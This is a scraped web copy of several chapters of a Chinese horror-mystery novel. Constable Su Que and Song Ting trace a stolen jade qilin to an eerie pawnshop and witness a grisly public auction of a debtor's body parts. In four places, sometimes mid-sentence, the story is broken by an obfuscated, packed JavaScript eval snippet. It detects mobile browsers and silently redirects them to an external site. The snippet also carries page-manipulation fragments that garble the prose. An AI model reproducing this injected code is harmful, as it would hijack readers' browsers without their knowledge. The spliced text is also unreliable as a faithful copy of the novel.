然后他挠了挠头，自嘲笑道：“这话听起来还挺别扭的。嘿嘿嘿。对了，有个问题一直想问你，你还记不记得纸人最后一个晚上，你那天晚上说我可惜，什么可惜？” 苏却侧头，抬眼看了看与她并肩而行的宋停，又转头看路。 她冷漠道：“忘了。” “哇你这人，这也能忘？苏大捕头，你知不知道就为这两个字，我那晚翻来覆去琢磨了多久都没睡着，之后我又一直想问你可是你不记得，你知道我憋多久吗……” …… 待苏却与宋停回到客栈时，天色刚擦黑。 护院兵站回到门口，等他们进去，就又关上了大门。 客栈大堂内其余几人都已在场，或坐或立，气氛有些沉闷，似乎都在等他们回来。 任世楚清了清嗓子，道：“好了，现在人已到齐。当务之急，是决定下一步。大家是各自为战，生死各安天命；还是暂弃猜疑，合作共渡难关？今日所见所获，你们可自行抉择，或分享，或保留。” 堂内一片寂静，落针可闻。 沉默了很久，没有一个人开口。 任世楚笑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343314|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下，道：“任某明白了。毕竟事关身家性命，不敢相信他人，亦是常情。那么……” 他话音未落，只听“啪”地一声。 桌旁的唐柳一忽然从怀中掏出一个锦袋，随手扔在了桌面上。 那锦袋的布料纹样，皆与苏却从太守处得来的一般无二。 “喂，”她扬了扬下巴，目光扫过在场所有人，声音干脆，“你们手里，是不是也都是这玩意儿？” 说着，她拉开袋口的束绳，将里面的东西倒了出来。 咚。 是银锭。 仅一枚。 唐柳一继续道：“那太守什么都没跟我说，请我喝了一杯茶以后，就给了我这个，让我走。” “我我我也是。”严丰廷本来还一脸担忧，闻言后，眼神亮了几分，也拿出了钱袋碎步跑至桌边，跟唐柳一的银锭放在一起。 “那……”王纪福也掏出了钱袋，道，“我也一样。” 人群中，只有谢天戎的脸色骤然变得很难看，嘴唇不受控制地哆嗦起来。 就在这时，掌柜悄无声息地出现了。 他手中并未拿着以前那般的命筹字条。 他目光扫过桌上那枚孤零零的银锭，声音平缓：“诸位，今日命筹，已通过他法送达各位手中。我是来告知，明日菜市口，将会有些许趣事发生。还望诸位……莫要错过。” 语毕，不等众人反应，他的身影再次消失。 姜云姮也掏出了这个钱袋：“掌柜如此说，那命筹便是银锭了。我也是，只有一个。” 谢天戎却在这时扑通一声跪倒在地，目光哀求地看向他们，声音发颤：“哥哥姐姐，求求你们……帮帮我，我……我不想死！” 他眼神惊惶，痛哭流涕。 唐柳一哼了一声：“那你刚刚为什么不说话？对你有利你就保留，知道自己遭祸了，就来求我们救你，把我们都当傻子吗？” 谢天戎这般行径，在众人看来，难免有自私投机之嫌。 任世楚眉头紧锁，并未立刻回应。 姜云姮侧过脸，默然不语。 唯有王纪福，面露不忍之色。 他走到谢天戎身边，拍了拍颤抖的肩膀把他扶起来，叹了口气，温声安慰道：“小谢，别急，别急……总会有办法的……” 他抬起头，看向其他几人，语气带着恳求，“诸位，大家都是一条船上的人，能不能，想想办法，看看是否有什么生路可走？” 姜云姮转过头，轻声问道：“福叔，你为何如此帮他？” “他……”王纪福语带哽咽，“他与我家中儿子一般年纪，一般个子，我看着他，就总想起我那孩子。他已经好些年没回过家了……小谢他还是个孩子，他又做错了什么……” 任世楚也叹气，劝道：“事已至此，小谢，你只能用两年寿命先换一个护命符防身，我们也帮不上什么别的忙。至于别的，掌柜既然特别说了，菜市口大家都别忘了去。都早点休息吧。” 苏却刚回房，宋停就关上了门，凑她身边小声道：“你，怎么看？” 苏却摇头。 事物有迹可循，人心晦暗难测。 然后，她拿出她鼓囊囊的钱袋，拉开，倒在桌子上。 宋停惊呼：“我的天爷，苏却，你在这要发大财了！” 静静躺在桌子上的。 是十二个黄澄澄的。 金元宝。 25. 窃宝（六） 窃宝（六） “这是不是说明，你的命筹高得离谱？”宋停拿了一个金元宝，放嘴里咬了一下，留下浅浅的齿痕。 “或许吧。”苏却看着面前的元宝，一时也未能参透。 与上一次相比，他们现在是作为疑犯，被看管在这家客栈，条件待遇自然不可同日而语。 但命筹告知方式突然更改，以银钱作替，定有其用意。 总不至于叫他们去赌吧…… “也是，毕竟你是捕头，眼睛又尖又会抓贼，还能做个顺水人情……”宋停喃喃道，“好在我不用跟你争，不然真是怕了你了。” 他脱下外衣，熟练一抖，一铺，又捡回昨天扔在地上的枕头，放好，躺在地上。 苏却吹了蜡烛，也躺下休息。 黑暗中，宋停的声音有些迷糊，不知道是醒着还是梦话。 他问：“苏却……你说，什么……是好人，什么……是坏人？” 一瞬间，有很多答案都在她的嘴边。 衣冠楚楚之人不乏心藏龌龊之时；慷慨激昂之士未尝无虚情假意之念；清高自许之流偶有趋权附势之思；礼贤下士之主，亦难免存妒才嫉能之心…… 赞美之言，诋毁之语。 可人性岂是黑白分明？ “我不知道。” 她最终给出了一个她自己都未曾预料到的答案。 不过宋停没有再回复苏却，他已经睡着了。 那也就是说，客栈里，沾枕即眠的作用并未改变。 昨晚她和宋停、任世楚、唐柳一都未曾听见，其他人却听起来近在身边的喧哗吵闹，也肯定不会是真实的赌场声音。 而更像是一种幻境中的知觉，让他们觉得自己没睡而已。 那么，关于地下赌场的线索，是否本应该通过这种方式，潜移默化地传递给所有人？ 藏在赌场身后的诡闻当铺，恐怕才是串联起玉麒麟失窃案与地下赌场的关键之处。 …… 次日清晨，天色阴沉灰蒙。 依旧是苏却先醒，看见睡得极不安稳的宋停。 苏却一动，宋停就睁开了眼睛，道：“他们没有说谎，我一晚上没睡，耳边全是说话尖叫的声音，头快痛死了。” 苏却没说话，只快速收拾，准备出门。 “你现在要去当铺是吗？”宋停揉着眼睛坐起来，“这么急？” “嗯，要赶在菜市口的事之前。” 宋停咕哝着爬起来，也迅速整理好自己：“得，舍命陪捕头。” 两人饭也没吃，直接出了客栈。 昨日跟着他俩的那名“木头人”依旧沉默地跟上，而其他几个护卫则像柱子一般立在客栈门口一动不动。 显然，其他人都还没出门。 苏却一路上试着向路人打听这间当铺，然而接连问了几人，对方一听到这名号，都如避蛇蝎，立刻摆手，仓促走开。 最终，还是一位断了两只脚缩在墙角的老乞丐，用浑浊的眼睛瞥了他们一眼，手指颤巍巍地指向东边。 “那边，山顶上……年轻人，那地方，邪性得很，能不去……还是别去了……”老乞丐的声音沙哑，带着深深的畏惧。 道过谢，两人朝着城东高山而去。 山脚下人倒是不少，摩肩接踵，是寻常市集。 上山的路只有一条宽阔的石阶，蜿蜒向上。 可越往上走，周遭就越发异样。 沿路有不少人和他们异向而行。 但如果细看，这些人眼神空洞，步履蹒跚，如同被操控的木偶在山道上游荡。还有的人肢体残缺，没手指的，没耳朵的，缺眼睛的，断手的，断脚的…… 他们形同行尸走肉，缓慢地向山下移动着。 “这地方……很压抑。”宋停眉头紧锁，侧身道。 苏却点头。 这些人的状态，绝非疾病所致，倒像是被抽走了魂灵，只剩一具空壳。 只怕这山上，这当铺，都要比想象得更加复杂。 抵达山顶后，眼前所见是一座门前挂着巨大“當”字招牌的建筑，门上匾额上书两个古篆大字——诡闻。 墙上开着又高又小的气窗，大门也并不宽敞，进门放着一块巨大的屏风，将里面情景挡了个严严实实。 门前排着长长的队伍，人们沉默着，脸上满是欲望。 苏却与宋停刚走近，昨日见过的那名护卫便无声地上前一步，恰好挡住去路。 他把宋停的肩膀按住，声音一如既往的强硬，道：“他可以，你不行。” 宋停挑眉，刚要开口，苏却抬手制止了他。 “在此等我。” 护卫侧身，苏却迈步跨过高高的门槛，踏入当铺内部。 外面天色尚可，屋内却异常昏暗，只点着几盏油灯。 绕过屏风，就只能看见一个极高的柜台。 可她，并未被带去柜台前，而是被引着穿过前堂，来到柜台侧后方一处略高的平台。 这里以另一道屏风半隔，视野开阔，可将前堂景象尽收眼底，自成一隅。 之前在赌场见过的那位蓝袍男子正斜倚在一张铺着软裘的躺椅上，一身青色常服松垮地拢着。 见她进来，他并未起身，只懒懒一抬手，示意她近前。 他身旁的小几上摆着一盘未下完的棋局，一旁温着的小铜炉正煨着一壶酒，酒香肆意，未饮先醉。 “你来了？”他像是刚醒，又像是早已等候多时。 “阁下这般清闲，倒不像个生意人。”苏却站定，并未上前。 他轻笑一声，执起一枚白玉棋子，在指间把玩。 “生意嘛，急不得。” 棋子被他信手抛回棋盒，“嗒”的一声轻响，清脆利落。 “尤其是……等人上门谈生意的时候。请坐，试试？”他将黑色棋盒向她推了推。 “多谢美意，可我不会下棋。”苏却在他对面坐下，目光沉静，拒绝。 男子低笑一声：“琴棋书画乃人生雅事，你若不会，岂不是少了很多乐趣吗？” “阁下邀我来，不会只为请我下棋吧。”苏却开门见山道，“你这里，做的是什么生意？与太守丢失的玉麒麟可有关系？” “当铺，做的自然是典当的生意。只不过，旁人当的是金银细软、古玩字画，而我这里，能当一些……更特别的东西。” 他身体微微前倾，目光落在苏却脸上，声音压低了几分，蛊惑一般：“比如，年华、健康、情感、记忆……甚至，命运。只要出得起价，便能换得所需之物。至于玉麒麟……” 他拖长了语调，意味深长地笑了笑，“确实在我这。可如果要赎这种稀世珍宝，付出的代价，可并不小哦。” 苏却眼睛直直盯着男子：“那你要什么呢？” “我，要你。” 男子目露精光，靠回椅背：“人皆有欲求，苏捕头你亦不能免俗。你追查玉麒麟，不过是为了交差活命，离开这里。但是，如果你选择留在这里，我能给你更多更多……” 他的目光变得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351441|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锐利起来：“比如，十二年前，你父亲、母亲真正的死因；比如，我能为你报仇，让你的仇人亲自跪在你的面前，任你宰割……” 苏却的瞳孔骤然收缩，搁在膝上的手握紧，泛白，心中的惊涛骇浪一瞬而起久久难静。 她从未告诉眼前的人她姓苏，也从未跟他说过自己是个捕头，父母之仇和那更是她心底隐瞒最深最沉痛的执念，是她苟活至今的唯一理由…… 他如何得知？！ “看来我很懂你，苏捕头。”看到她瞬间的反应，男子满意地笑了，“你就不想知道，你父亲当年究竟查到了什么，才招致灭门之祸吗？灰烬之下埋藏的秘密，可比你在这鬼地方找新娘找麒麟……有趣多了。” 他声音轻柔，却字字如刀，剐向苏却的心尖。 冲击和诱惑同时袭来，苏却感到一阵眩晕。 她死死咬住牙关，强迫自己冷静下来。 此人能知晓她最大的软肋，显然有备而来，直击要害。 便如当初在客栈的幻境一样，攻心之计，最是难防。 苏却深深吸一口气，缓缓松开紧握的拳头，眼神重新直视对方：“我的事，不劳阁下费心。玉麒麟，是能赎，还是不能赎？若不能，恕不奉陪。” 男子看着她迅速收敛情绪，笑意更深。 “无妨。生意不成仁义在。我相信，总有一天，苏捕头会改变主意的。”他接过护卫递给他的茶杯，慢悠悠地呷了一口，“至于玉麒麟嘛……接下来的日子，你去找与它价值相当之物，带过来，若我觉得是笔买卖，我自会奉上。” 谈话至此，已无法继续。 苏却起身：“告辞。” “请便。”男子并未阻拦，只是在她转身时，补充了一句，“对了，正好我也要去菜市口看场热闹，不如……同行？” 苏却脚步未顿，径直走出当铺。 清冷的山风扑面而来，原先的震惊和愤怒，也稍稍平复了几分。 “怎么样？”宋停迎上来问道。 苏却摇头，声音低沉：“先下山。” 那蓝袍男子果然很快也走了出来，在一众护卫的簇拥下，乘上了一顶软轿。轿夫脚步轻快，竟丝毫不逊于苏却他们下山的速度。 一行人皆是朝着菜市口方向行去。 还未到达，便见前方人头攒动，喧哗声震天。 菜市口中央的空地上，立着一个高大的木架。 木架上，正绑着昨日在赌场输掉一切，连最后的水田都押上的那个壮汉朱爷。 此刻他浑身赤裸，身上满是污秽和伤痕，头颅低垂，奄奄一息。 木架周围，围满了亢奋的人群，他们指指点点，议论纷纷，脸上带着各种表情：好奇、兴奋、幸灾乐祸、麻木…… 几名当铺护卫正在向围观者分发着小木牌。 苏却和宋停也拿到了，木牌上刻着看不懂的符号。 蓝袍男子的软轿在不远处停下，他并未下轿，只是掀开轿帘，像在欣赏一出精彩的大戏。 只见一个管事模样的人登上旁边临时搭起的一个高台，清了清嗓子，运足气力高声喊道：“肃静！肃静！各位街坊邻居，今日我当铺在此处置死当之物，价高者得，童叟无欺。” 他伸手一指木架上的壮汉：“此物编号卅八，昨日在赌场已输光家产仍未有收敛，故欠赌场巨债无力再还，依赌场之规，其身、其力、其魂，皆归我当铺所有，今日在此公开竞拍，十两为始，每次加价，不得少于五两。” “那么，我们这就开始吧！” 26. 窃宝（七） 窃宝（七） 苏却在人群中看到了陆续来的其他人。 谢天戎和王纪福同行，唐柳一和严丰廷一同抵达，而任世楚、姜云姮是只身前来的。 苏却起初以为，这只是一场将人贬为奴仆的寻常发卖。 可高台上的管事接下来的话，却让她浑身一震。 “先拍这一头浓发，连带头皮，完整剥下，可用于修补秃顶癞痢。” 话音落下的瞬间，台侧阴影处走出几个面无表情的男子，他们拿着各种寒光闪闪、形状特异的工具，站在木架两侧，准备随时动手。 台下有人争先恐后地举牌喊了起来。 “二十五两！” “三十两！” …… 不多时，就已经被叫到了一百二十五两的高价。 木锤子一敲，交易达成。 叫价者是一个衣着不俗的男子，他赶忙叫身后的仆从点了银子，一手交钱，一边露出光秃秃、疤痕交错的血红头顶，现场的医士正将刚刚拍下的、连着头发的那块头皮往他头上比划、缝合…… 随即，管事的手指向壮汉圆睁的双眼：“这双眼，澄澈有神，未见浑浊，乃是稀缺货！” “一百两！” “一百二十两！” “一百五十两！” …… 每一次落槌，都意味着壮汉身体的某一部分被明码标价。成交后，他们动作麻利得惊人。刀刃锋利地划开皮肤，分离，没有过多的鲜血喷溅。 惨叫声，从最初的凄厉绝望，很快变为嘶哑的呜咽，最终只剩下一片死寂，唯有刀具切割皮肉、分离筋骨的声响。 和台下紧张热烈的讨论与报价。 被取下的部件被迅速放入旁边早准备好的玉盘或木盒中，里面铺着药草或冰块，由专人端到医士旁边…… 唐柳一再也忍不住，猛地弯腰，大口大口地呕吐起来。严丰廷脸色惨白如纸，死死抓着唐柳一的胳膊。 姜云姮早已别过脸去，身体微微颤抖。任世楚也是面色铁青，拳头紧握。 谢天戎更是已经吓得站不起来，王纪福也蹲着身子，轻拍着他后背，似乎在安慰他。 木架之上，那壮汉早已没了声息，几乎只剩下一副被剔刮得残缺不全，零星挂着碎肉的骨架。 他的一切，从外到内，几乎被瓜分殆尽。 空气中弥漫着浓重的血腥味，鲜血顺着木架的纹理蜿蜒流下，滴落在地，汇成一小滩暗红。 而环顾四周。 有人心满意足地离开，有人是未尝拍下银钱不够的遗憾，有人是看热闹一般的麻木……仿佛这个菜市口，刚刚在售卖的只是猪羊杂碎。 那顶软轿停在不远处，里面的男人只是笑着，看着血腥残忍的每一幕。 注意到苏却看过来的目光后，他没有出声，但嘴唇缓慢地动了动，同时，又用戴着扳指的拇指，懒洋洋地指了指木架的方向。 尽管隔了一段距离，苏却依然清晰地读懂了那几个字的口型： “你，想，这，样，吗？” 那眼神里没有疑问，只有一种轻蔑的玩味和审视。 这是警告？威胁？还是单纯地在欣赏她的恐惧与愤怒？ 轿帘随即落下，软轿被抬起，平稳地离开了这残忍的刑场。 苏却站在原地，浑身冰冷。 这个当铺老板的酷烈手段，远超她之前的预料。 他不仅仅是在做生意，更像是在玩弄人心，践踏一切，并以此为乐。 眼见日头偏西，又到了该去太守府汇报的时间。 一行人沉默地走着，气氛压抑得可怕。 谢天戎脸色依旧苍白，走在王纪福身侧，但看起来并无大碍。 应该是听了任世楚的建议，兑换了护命符，暂时躲过了末位之祸。 众人分先后，分别进入太守雅室，而今日，太守倒是认认真真问了都去了什么地方，调查如何。 苏却并没有说知道玉麒麟在当铺这件事，只含含糊糊地说了一些关于当铺和赌场的推测。 在这件事上，她选择谨慎。 毕竟，那样的人嘴里，话有多少是真多少是假，谁也不知道。 故此她今天得到的钱袋，里头便只装了一个银锭。 和宋停回到客栈的时候，一进门，苏却就感到气氛不对。 任世楚、姜云姮、谢天戎、唐柳一、严丰廷五人齐齐坐在一张长桌旁，目光齐刷刷地投向他们两人，眼神复杂。 而王纪福，并不在其中。 任世楚率先开口，问道：“二位，轿子里的那个男人是谁？你们如今查到哪一步了？” 苏却语气平淡：“我好像明确拒绝过合作。我的行踪，似乎也无需向各位汇报。” “实在对不住，可此事人命关天。” 任世楚声音格外严肃。 他继续道：“小谢说，他今天和福叔发现了地下赌场，里面的人说苏公子你和宋公子也去过，还和赌场老板说过话……应该就是今天轿子里的那位吧。那我想你们掌握的线索，定然不在少数。那么请问，为什么太守今日留下了福叔，不让他回来呢？” 宋停见众人这般阵势，阴阳怪气地接话道：“哟，大家审犯人呐？那也请分辨清楚，一天到晚的，到底是谁和王纪福待在一块儿难舍难分。不会是你们眼红我们与那老板关系紧密，担心我们暗自勾连，怕又被我们害了性命，又先你们一步找到玉麒麟吧？” 这话半真半假，更像是故意搅混水，刺激众人。 苏却不想在此纠缠，更不想解释什么。 她顺势道：“各位抱歉，一天下来风尘仆仆，我要去方便，先走一步，你们随意。” 说罢，一把拽住宋停的袖子，几乎是将他扯上了二楼，回到房间，关上门，才松开手。 “欸？你……你不是要方便吗？拉我干什么？”宋停被她拽得一个踉跄，低声叫道。 “我要干什么？很简单。找到线索，活着离开。可你，又要干什么？” 苏却盯着他，目光锐利，直截了当地问。 “你先是转移重点挑拨众人，字字句句都是嘲讽，有意透露，又刻意误导……你这样，是为了什么？” 宋停揉了揉被拽疼的手腕，反问道：“你觉得我为了什么？” 苏却沉默片刻：“我对你，一直存有疑虑。直到我看见他……你和他很像，讳莫如深，带着不可告人的目的，似乎在掌控引导着什么……但和此地的人都不一样，你们有思想，有判断，不受规则的束缚……” 她的话未说完，但意思已然明了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355970|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋停脸上的表情渐渐变了。 他扯了扯嘴角，却没能笑出来。 “你原来……是这样看我。”他的声音很轻，“所以，在我们一起涉险探查赌场当铺的时候，一起从纸人堆里死里逃生的时候，一起从无尽黑暗里回到客栈的时候，我跟着你经历这一切的时候……你脑子里只是在想，我是否受规则束缚，以及我留在你身边究竟藏着什么不可告人的目的？你……” 他没有再继续说下去，似乎觉得再说任何话都是多余。 然后转身，拉开门，大步走了出去。 楼下传来他对着守门护院兵的吼声，接着，客栈大门开启又关闭。 他竟然离开了客栈，走进了外面浓重的夜色里。 是夜，苏却在床上翻来覆去了很久，丝毫没有困意。 最终，她还是换了衣服，点燃了新娘塞给她的那一支不会熄灭的蜡烛。 她房间的窗户朝向客栈后方。 她轻轻推开窗，探身向外望去，下方是一片黑暗，无人看守。 她深吸一口气，一手撑住窗沿，身体轻巧翻出，悄无声息地落在地上。 她要去当铺一趟，确认玉麒麟的下落。 山顶的夜晚风寒露重。 当铺檐下只挂着几盏灯笼，勉强照亮门口一圈。 苏却隐匿在阴影中，正如她所料，库房重地必有守卫。在侧面一处有一扇铁门，门口站着两名佩刀的护卫，门上还挂着一把大锁。 硬闯肯定不行。 她捡起几块小石子，掂量了一下，瞄准，朝着远处草堆扔过去。 “沙沙沙……”石子击中，发出了一阵不算大但颇为可疑的响声。 两名护卫立刻警觉，对视一眼。 其中一人低喝：“什么声音？你去看看！” 另一人点头，握紧刀柄，朝向声音来源探去。 机会！ 苏却心下一紧。 但还剩一名护卫。 她换了一块稍大的石头，用力掷向了山岩之后。 “啪！”石头撞击。 剩下的那名护卫显然也听到了，但他看向同伴离开的方向，踟蹰不定。 就在此时，先前去查看草丛的护卫似乎发现了什么，高喊了一声：“这边有脚印，好像有人！” “怎么回事？”留守的护卫注意力也被吸引过去。 就是现在。 苏却直扑库房铁门。 手中是去姜云姮房里顺出来的一支细簪，她蹲下身，借着檐下微光，将细簪探入锁孔。 时间仿佛变得无比漫长。 远处两名护卫似乎正在往回走。 “咔哒”一声，锁开了！ 然而，两股不同的脚步声，几乎同时从两个方向传来。 一股是那两名被引开的护卫查无所获，正满心疑虑地返回； 另一股，是原本应该在当铺周围巡逻的一队护卫，恰好巡到了这边。 两支队伍，几乎就看到站在门口的苏却。 就在这千钧一发之际，一道黑影直直撞过去。 她猝不及防，被那股大力猛地推进了铁门之内。 “砰！”的一声响，铁门在她身后被狠狠关上。 紧接着，是外面落锁的咔嚓声。 27. 窃宝（八） 窃宝（八） 库房内一片死寂，唯有几扇小窗户透进微弱光亮，加上苏却手中的一点烛光，让她能够勉强分辨周遭环境。 她盯着眼前被关上的门，许久之后，才缓过心绪。 此地诡异，入夜后黑暗中藏着未知的危险，若要行动，需特殊烛火方能驱避。 这一线索，苏却知道，宋停知道，其他人并非未曾经历，自然也有可能会知道。 把她锁在库房，若无人再来开启，待到天明被当铺之人发现，她无异于瓮中之鳖，处境凶多吉少。 只是，那人竟能点着蜡烛尾随她一路而不被察觉，确实有几分本事。除非，此人还有不为人知的行动方式。 但无论如何，只要这扇门能再次从外面打开，她就有信心寻机脱身。 苏却举高蜡烛，单薄的光晕只扩开一小圈。 这里比她想象的更为宽敞，弥漫着一种陈物和药草的混合气味。一排排高大的木架整齐排列，上面分门别类地放置着各种小件当品。 靠近门口的多是金银锭、珠宝首饰、古钱币等。 再往里，则是各式瓷瓶、玉器、铜器，有些看起来年代久远，价值不菲。 还有一些架子上堆放着卷轴、账册和用锦囊装着的票据契书。 靠墙的区域则堆积着大件，有家具、屏风与一些精细雕刻的木梁摆件等。 有一个架子单独在一侧，与其他不同，每一件当品旁边都放着一个标签木牌。 苏却走近，借烛光看去，只见木牌上标注着日期和姓名。她随手拿了几块看： “昭明六年十月初七，张采若左手一只。” “昭明六年十月十五，王屈岱宅院房契。” “昭明六年十月廿三，朱少格水田地契。” 木牌上，朱少格的名字被一笔划去，而那正是那壮汉的名字。 日期……昭明六年？ 如果这不是巧合的重名，而是真真正正的昭明纪年的话……那距离当下，已经过去了八十多年。 她头皮发麻，一股寒意悄然而起。 她找遍了整个当铺库房，每一个架子，每一个角落…… 然而，一圈下来，别说是那尊玉麒麟，就连类似大小的玉雕摆件都未见踪影。 玉麒麟似乎并不在这里。 但她看见了一只很突兀的木箱。 这箱子材质体积庞大，足以装下那尊玉麒麟。但此刻里面空空如也。箱盖上贴着被撕开的封条，虽然边缘有些卷曲，但朱印和字迹仍清晰可辨。 那是皇家用于封存贡品的专用封条。 苏却将蜡烛放入空箱内，蹲下身，凑近仔细查看封条上的字迹。 上面写着箱内原盛放贡品的名称——吞金神蟾。 这时，她突然听到了库房里有一点动静。 苏却瞬间警惕，怕木箱年久关节陈旧，也不敢盖上箱盖遮住烛光，只能站在箱前，能挡多少是多少了。 她屏息，那声音似乎就在附近，听起来只有一个人，动作似乎有些迟疑，并不像是当铺里的人。 好在库房里也不是完全漆黑，只依稀能见一个身影佝着身子，背对着苏却，一步一步后退而来。 苏却皱眉双手抱胸，冷冷地看着此人毫无察觉地倒退着，一步一步撞上自己。 挨到的一瞬间，那人就浑身一抖吓了一大跳，双手下意识地举过头顶，喉咙里发出一声短促又极力压抑的惊叫，感觉身后半天没动静，才敢慢慢转过身来。 待他勉强看清黑暗中苏却的脸时，脸上的惊恐瞬间化为了尴尬。 他讪笑：“好好好好……好巧。” 是宋停。 苏却面无表情道：“不巧，是你推我进来的。” 宋停立刻放下手，语速极快地解释道：“这件事我可以解释，我绝对没有任何其他的目的，我当时真的只是看到你快被护卫抓个正着，情况危急，脑子一热就顺手推了你一把，锁上门也是为了不能让他们看出库房门是被撬开的。天地良心！然后我本来想引开他们，结果他们不知道被谁突然叫走，全都离开了。我担心你还在里面不知道情况，所以才又撬门进来看看你到底要干什么。不管你信也好不信也罢，我说了这么多全部都是真话，句句属实！” 他连珠带炮一口气说完，苏却听后也没有太大反应，只拣了重要的问。 “你说守卫全部离开？” “是啊！”宋停连忙点头，“要不然我哪能这么容易又溜回来撬门？” 苏却闻言，非但没有放松，眉头反而锁得更紧。 她立刻拿起箱里的蜡烛，沉声道：“此地不宜久留，赶紧走，绝不能再次被锁在里面。” 两人迅速来到库房门口，苏却侧耳贴在门上仔细听了听，确认外面毫无动静后，才将门拉出一条缝隙。 外面山风阵阵，夜色寥寥，果真一个人也没有。 他们闪身而出，宋停又回身小心地将铁门关上，锁好，尽量不留下痕迹。 “接下来我们去哪？”宋停压低声音问道。 “你不回客栈？”苏却率先朝着下山的小路走去。 “不不不，要回要回。”宋停立刻跟上，脚步急切。 他絮絮叨叨地低声说着，“外面黑漆漆的什么都没有，太吓人了，我刚才就是四处找光亮，才会绕到当铺这边来……后来，看到你来，我还以为……你是……特意来找我……回去的……”他的声音越说越低，最后几个字几乎含在喉咙里，变成模糊的嘟囔，随即又刻意地大声抱怨了一句，“没想到，你只是来找玉麒麟的。” 山风很大，苏却确实没听清，只听到他最后一句抱怨，不由疑惑地侧头：“不然呢？” 宋停摇头：“没什么。快走吧，冷死了！” 回到客栈外墙下，苏却依旧选择翻窗。 她身手敏捷，手脚并用，悄无声息地攀上二楼，推开自己房间的窗户钻了回去。 与此同时，宋停和护院兵在门口似乎吵起来了。 他理直气壮地喊着：“我半夜睡不着，出去逛逛也不行吗？……谁让你们就七个人，再没多的跟着我……不让我进去，冻死了算谁的……” 苏却估计，这些护院兵应该也没见过宋停这样的人。 也不知道护院兵们都和他说了什么，总之，他也很顺利地回到了客栈。 过了一会儿，走廊里传来了脚步声和说话声。 似乎是任世楚被吵醒了，披着外衣举着蜡烛出来查看，正好遇上被放进来的宋停。 “宋公子？你这是……”任世楚的声音带着睡意和疑惑。 “哦，没事没事，睡不着出去溜达了一圈，散散心，散散心……”宋停打着哈哈。 任世楚：“……” 任世楚：“？？” 任世楚：“！！！” 苏却和衣躺下，有些疲惫，迷迷糊糊竟然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365912|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡着了。 可她几乎只是闭眼打了个盹，窗外天色已然蒙蒙亮。 起身下楼时，发现其他人都已经聚在堂内，气氛凝重。 见苏却和宋停下来，任世楚面色沉重地开口：“福叔……昨夜也未曾回来，怕是……” 任世楚继续道：“我们商议过了，今日必须去一趟赌场，一方面继续寻找玉麒麟的线索，另一方面，也要试着打听一下福叔的下落。之后，照例去太守府汇报。” 他的目光扫过苏却和宋停，“二位意下如何？” 苏却正有此意，宋停自然也无异议。 于是众人决定一同行动。 谢天戎主动在前带路，他似乎对这里的路径颇为熟悉，领着众人穿过几条小巷，来到一处偏僻的荒坟地。 他找到其中一座不起眼的孤坟，熟练地触动机关，露出了黑黝黝的入口。 “就是这里，下面通道连着赌场。”谢天戎说道，率先钻了进去。 众人依次进入，沿着木梯、密道，直达赌场。 巨大的地下洞窟依然人声鼎沸，各种赌局依然进行得如火如荼。 沿着壁边石阶向下走时，任世楚突然问道：“小谢，昨日你和福叔在赌场，具体做了什么？可曾发现什么异常？” 谢天戎走在前面，头也没回，声音听起来有些含糊：“也没做什么，就四处转了转，想找找看有没有玉麒麟的线索。但赌桌上大多是金银筹码，根本没见着什么像宝物的东西。本来我们都打算走了，后来在边上遇到一桌挺新奇的赌局，就被吸引过去了。” “哦？什么样的赌局？”任世楚追问。 “就是……有个人坐庄，说可以用自己身上任何觉得值钱的东西下注，赢了，就能带走桌面上所有赌注。我们看了一会儿，觉得挺有意思，而且我们本来钱也不多，福叔就说……试试手气，就参加了。” “结果呢？”唐柳一在一旁插嘴。 谢天戎道：“赌的是很普通的骰子，猜大小。但那庄家在掷骰子前，问了一个问题。他问福叔……问他儿子是否还活着。说押一二三点小，就是还活着，押四五六点大，就是死了。福叔当然押小啊，谁能咒自己儿子死？可是……可是他输了，福叔把唯一一个银锭输掉了，他当时就有点激动，想理论，差点和庄家的人打起来……所以我们就被赶出来了。再后来……我们就去了菜市口……” 他的声音越来越轻。 